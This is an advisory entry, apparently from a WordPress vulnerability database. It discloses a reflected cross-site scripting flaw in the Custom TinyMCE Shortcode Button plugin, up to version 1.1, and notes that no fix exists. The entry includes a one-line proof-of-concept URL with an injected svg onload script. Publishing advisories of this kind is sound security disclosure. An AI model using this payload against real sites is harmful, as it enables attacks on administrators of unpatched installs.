WordPress Plugin Vulnerabilities
Custom TinyMCE Shortcode Button <= 1.1 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the PHP_SELF variable before outputting it back in an attribute in an admin page, leading to Reflected Cross-Site Scripting.
Proof of Concept
https://example.com/wp-admin/options-general.php/%22%3E%3Csvg/onload=alert(/xss/)%3E?page=stscb-page-elements
Affects Plugins
No known fix - plugin closed
References
Classification
Miscellaneous
Original Researcher
p7e4
Submitter
p7e4
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-04-19 (about 2 months ago)
Added
2022-04-19 (about 2 months ago)
Last Updated
2022-04-20 (about 2 months ago)